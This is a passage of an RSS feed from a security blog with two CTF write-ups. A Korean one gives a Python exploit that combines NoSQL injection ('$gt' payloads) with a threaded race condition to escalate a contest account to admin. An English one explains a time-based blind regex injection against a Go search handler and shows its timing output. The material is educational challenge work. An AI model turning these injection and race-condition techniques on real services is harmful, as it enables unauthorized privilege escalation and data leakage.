&lt;p&gt;&lt;span&gt;또한 해당 코드가&lt;span&gt; Division &lt;/span&gt;모델에서&lt;span&gt; findOne &lt;/span&gt;함수를 이용해 값을 찾고&lt;span&gt; updateOne&lt;/span&gt;을 이용해&lt;span&gt; update&lt;/span&gt;하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면&lt;span&gt; race condition&lt;/span&gt;이 발생하여&lt;span&gt; level&lt;/span&gt;이 두번 증가될 수 있을 가능성을 확인하였다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;----&lt;/span&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;#-*- coding:utf-8 -*-&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import requests&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import sys&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import time&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import re&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import string&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import datetime&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;import json, os, sys, html, zlib&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;from arang import *&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;from concurrent.futures import ThreadPoolExecutor&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;packet='''POST http://3.35.40.133/api/signup HTTP/1.1&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Host: 3.35.40.133&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Connection: keep-alive&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Content-Length: 42&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Accept: application/json, text/plain, */*&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Content-Type: application/json;charset=UTF-8&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Origin: http://3.35.40.133&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Referer: http://3.35.40.133/signup&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Accept-Encoding: gzip, deflate&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;'''&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;s = requests.session()&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;def raceCondition(args):&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;global pp,s&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;u = 'http://3.35.40.133/api/auth'&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;data = {&quot;division_number&quot;:{&quot;$gt&quot;:&quot;&quot;}}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;r = s.post(u, data=json.dumps(data), headers=pp.headers)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print('--------------')&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print(r.content)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print('--------------')&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;for i in range(1,1000):&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;# signup&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;pp = parsePacket(packet.format(i))&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;pp.proxies=&quot;127.0.0.1:8888&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;data = {&quot;userid&quot;:&quot;arat0{:03d}&quot;.format(i),&quot;password&quot;:&quot;dkfkd31231&quot;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if r.status_code==200:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;# signin&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;u = &quot;http://3.35.40.133/api/signin&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;data = {&quot;userid&quot;:&quot;arat0{:03d}&quot;.format(i),&quot;password&quot;:{&quot;$gt&quot;:&quot;&quot;}}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;r = s.post(u, data=json.dumps(data), headers=pp.headers)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if r.status_code==200:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;rj = json.loads(r.content)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;pp.headers['x-access-token'] = rj['token']&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;with ThreadPoolExecutor(3) as pool:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;t=[1,2,3,4,5]&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ret = [x for x in pool.map(raceCondition,t)]&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;----&lt;/span&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;위와같은&lt;span&gt; race condition&lt;/span&gt;을 발생시키는 익스플로잇 코드를 통해&lt;span&gt; level&lt;/span&gt;을&lt;span&gt; 2&lt;/span&gt;번 증가시킬 수 있다&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image9.png&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;105&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7g1JP/btqIOoqaKT5/tRN8ibGITiWponemQjZky0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7g1JP/btqIOoqaKT5/tRN8ibGITiWponemQjZky0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7g1JP/btqIOoqaKT5/tRN8ibGITiWponemQjZky0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7g1JP%2FbtqIOoqaKT5%2FtRN8ibGITiWponemQjZky0%2Fimg.png&quot; data-filename=&quot;image9.png&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;105&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;실제로&lt;span&gt; auth &lt;/span&gt;요청이&lt;span&gt; 2&lt;/span&gt;번 된것을 확인하였고&lt;span&gt;, &lt;/span&gt;그 계정으로 로그인 시 &lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GK6Es/btqIJasIqLu/r7FLGVovpR5PSvKrXZ2zK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GK6Es/btqIJasIqLu/r7FLGVovpR5PSvKrXZ2zK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GK6Es/btqIJasIqLu/r7FLGVovpR5PSvKrXZ2zK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGK6Es%2FbtqIJasIqLu%2Fr7FLGVovpR5PSvKrXZ2zK0%2Fimg.png&quot; data-filename=&quot;image10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span&gt;으로 변한것을 확인할 수 있다&lt;span&gt;.&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xaXUu/btqIBNLM1DA/z7VvARdofUPjHYCLsLWAf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xaXUu/btqIBNLM1DA/z7VvARdofUPjHYCLsLWAf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xaXUu/btqIBNLM1DA/z7VvARdofUPjHYCLsLWAf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxaXUu%2FbtqIBNLM1DA%2Fz7VvARdofUPjHYCLsLWAf1%2Fimg.png&quot; data-filename=&quot;image11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;플래그 획득&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>CTF/writeup</category>
      <category>2020사이버작전경연대회</category>
      <category>writeup</category>
      <category>라이트업</category>
      <category>웹</category>
      <category>웹해킹</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/65</guid>
      <comments>https://ar9ang3.tistory.com/65#entry65comment</comments>
      <pubDate>Tue, 15 Sep 2020 10:01:26 +0900</pubDate>
    </item>
    <item>
      <title>[Web] 2020 TSG CTF - Slick logger writeup / time based blind regex injection</title>
      <link>https://ar9ang3.tistory.com/64</link>
      <description>&lt;p&gt;&lt;code&gt;slick-logger&lt;/code&gt; &lt;code&gt;web&lt;/code&gt; &lt;code&gt;5 solvers&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;func searchHandler(w http.ResponseWriter, r *http.Request) {
    channelID, ok := r.URL.Query()[&amp;quot;channel&amp;quot;]
    if !ok || !validateParameter(channelID[0]) {
        http.Error(w, &amp;quot;channel parameter is required&amp;quot;, 400)
        return
    }

    queries, ok := r.URL.Query()[&amp;quot;q&amp;quot;]
    if !ok || !validateParameter(queries[0]) {
        http.Error(w, &amp;quot;q parameter is required&amp;quot;, 400)
        return
    }

    users := []User{}
    readJSON(&amp;quot;/var/lib/data/users.json&amp;quot;, &amp;amp;users)

    dir, _ := strconv.Unquote(channelID[0])
    query, _ := strconv.Unquote(queries[0])

    if strings.HasPrefix(dir, &amp;quot;G&amp;quot;) {
        http.Error(w, &amp;quot;You cannot view private channels, sorry!&amp;quot;, 403)
        return
    }

    re, _ := regexp.Compile(&amp;quot;(?i)&amp;quot; + query)

    messages := []Message{}
    filepath.Walk(&amp;quot;/var/lib/data/&amp;quot;, func(path string, _ os.FileInfo, _ error) error {
        if strings.HasPrefix(path, &amp;quot;/var/lib/data/&amp;quot;+dir) &amp;amp;&amp;amp; strings.HasSuffix(path, &amp;quot;.json&amp;quot;) {
            newMessages := []Message{}
            readJSON(path, &amp;amp;newMessages)
            for _, message := range newMessages {
                if re.MatchString(message.Text) {
                    // Fill in user info
                    for _, user := range users {
                        if user.ID == message.UserID {
                            messages = append(messages, Message{
                                Text:      re.ReplaceAllString(message.Text, &amp;quot;&amp;lt;em&amp;gt;$0&amp;lt;/em&amp;gt;&amp;quot;),
                                UserID:    message.UserID,
                                UserName:  user.Name,
                                Icon:      user.Profile.Image,
                                Timestamp: message.Timestamp,
                            })
                            break
                        }
                    }
                }
            }
        }
        return nil
    })

    result, _ := json.Marshal(messages)

    w.WriteHeader(http.StatusOK)
    header := w.Header()
    header.Set(&amp;quot;Content-type&amp;quot;, &amp;quot;application/json&amp;quot;)
    fmt.Fprint(w, string(result))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in search function, they get input from us, &lt;code&gt;channel&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;but they use specific parameter form like &lt;code&gt;&amp;quot;value&amp;quot;&lt;/code&gt;, and unquote it.&lt;/p&gt;
&lt;p&gt;so if we give &lt;code&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/code&gt;, it is going to blank, we could search like &lt;code&gt;like &amp;#39;%&amp;#39;&lt;/code&gt; in mysql db.&lt;/p&gt;
&lt;p&gt;(thanks for @Payload at GON)&lt;/p&gt;
&lt;p&gt;from now, &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;filepath.Walk(&amp;quot;/var/lib/data/&amp;quot;, func(path string, _ os.FileInfo, _ error) error {
    if strings.HasPrefix(path, &amp;quot;/var/lib/data/&amp;quot;+dir) &amp;amp;&amp;amp; strings.HasSuffix(path, &amp;quot;.json&amp;quot;) {
        newMessages := []Message{}
        readJSON(path, &amp;amp;newMessages)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we could get secret channel&amp;#39;s admin message,&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;users := []User{}
readJSON(&amp;quot;/var/lib/data/users.json&amp;quot;, &amp;amp;users)

...

for _, user := range users {
    if user.ID == message.UserID {&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but because of this condition, there is no userid &lt;code&gt;USLACKBOT&lt;/code&gt; at &lt;code&gt;users.json&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;    for _, message := range newMessages {
&amp;gt;&amp;gt;&amp;gt;        if re.MatchString(message.Text) {
            // Fill in user info
            for _, user := range users {&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but our searching word, &lt;code&gt;query&lt;/code&gt;, is going to argument of &lt;code&gt;regexp.Compile&lt;/code&gt;, it is used before &lt;code&gt;userid&lt;/code&gt; matching.&lt;/p&gt;
&lt;p&gt;so we could give it blind regex injection. (&lt;a href=&quot;https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets&quot;&gt;https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;as searching words&amp;#39; length is growing, accuracy of blind regex injection decreases.&lt;/p&gt;
&lt;p&gt;moderately slice our searching words to get flag!&lt;/p&gt;
&lt;p&gt;and accuracy is little bit low, so we send same payload for several time, and get statistics of most delayed word! XD&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] 5 : 0.06300497055053711
[*] } : 0.062014102935791016
[*] N : 0.05901360511779785
---------------------
[*] } : 0.06202411651611328
[*] 0 : 0.060013771057128906
[*] W : 0.058012962341308594
---------------------
[*] U : 0.09402132034301758
[*] B : 0.0660254955291748
[*] } : 0.06601500511169434
---------------------
[*] } : 0.06301426887512207
[*] Z : 0.06101393699645996
[*] Y : 0.060013532638549805
---------------------
[*] } : 0.06601476669311523
[*] H : 0.06502485275268555
[*] 6 : 0.05902361869812012
---------------------
[Finished in 13.1s]

## this could be `}` is the currect word&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;check my exploit&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/JaewookYou/ctf-writeups/blob/master/2020TSGCTF/slick-logger/ex.py&quot;&gt;https://github.com/JaewookYou/ctf-writeups/blob/master/2020TSGCTF/slick-logger/ex.py&lt;/a&gt;&lt;/p&gt;</description>
      <category>CTF/writeup</category>
      <category>blind regex injection</category>
      <category>CTF</category>
      <category>go</category>
      <category>golang</category>
      <category>regex injection</category>
      <category>tsgctf</category>
      <category>Web</category>
      <category>WebHacking</category>
      <category>writeup</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/64</guid>
      <comments>https://ar9ang3.tistory.com/64#entry64comment</comments>
      <pubDate>Mon, 13 Jul 2020 09:42:40 +0900</pubDate>
    </item>
  </channel>
</rss>